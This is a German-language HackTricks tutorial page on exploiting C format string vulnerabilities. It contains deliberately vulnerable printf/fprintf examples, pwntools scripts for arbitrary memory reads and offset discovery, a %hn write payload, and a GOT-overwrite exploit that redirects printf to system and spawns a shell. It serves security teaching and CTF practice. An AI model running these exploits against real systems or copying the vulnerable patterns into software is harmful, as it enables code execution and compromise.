217 lines
9.9 KiB
Markdown

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Grundlegende Informationen
In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Fähigkeiten ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **willkürlichen Code auszuführen**.
#### Formatierer:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Beispiele:**
- Verwundbares Beispiel:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normaler Gebrauch:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Mit fehlenden Argumenten:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf anfällig:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Zugriff auf Zeiger**
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
```c
printf("%x %x %x %x")
```
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten Folgendes tun:
```c
printf("%4$x")
```
und direkt das vierte lesen.
Beachten Sie, dass der Angreifer den `printf` **Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stack sein wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
> [!CAUTION]
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkürliche Adressen im Stack hinzuzufügen und `printf` dazu zu bringen, auf sie zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.
## **Willkürliches Lesen**
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String am Ende dieser Adresse bei 0x00 abgeschnitten wird.
### Offset finden
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis Sie die `A's` erhalten.
<details>
<summary>Brute Force printf-Offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Wie nützlich
Arbitrary Reads können nützlich sein, um:
- **Den** **Binary** aus dem Speicher zu **dumpen**
- **Zugriff auf spezifische Teile des Speichers zu erhalten, wo sensible** **Infos** gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, **alles an jede Adresse zu schreiben (willkürliches Schreiben).**
In diesem Beispiel wird das Ziel sein, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies andere Techniken des willkürlichen Schreibens zur Ausführung missbrauchen könnte:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Wir werden eine **Funktion** **überschreiben**, die ihre **Argumente** vom **Benutzer** **erhält** und sie auf die **`system`** **Funktion** **zeigt**.\
Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst **schreibt man 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
- **HOB** wird auf die 2 höheren Bytes der Adresse aufgerufen
- **LOB** wird auf die 2 niedrigeren Bytes der Adresse aufgerufen
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie **zuerst das kleinste** von \[HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Wenn HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools-Vorlage
Sie finden eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
{{#ref}}
format-strings-template.md
{{#endref}}
Oder dieses grundlegende Beispiel von [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format-Strings zu BOF
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Buffer Overflow**-Art von Sicherheitsanfälligkeit auszunutzen.
## Weitere Beispiele & Referenzen
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der Win-Funktion (ret2win) zu überschreiben
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
{{#include ../../banners/hacktricks-training.md}}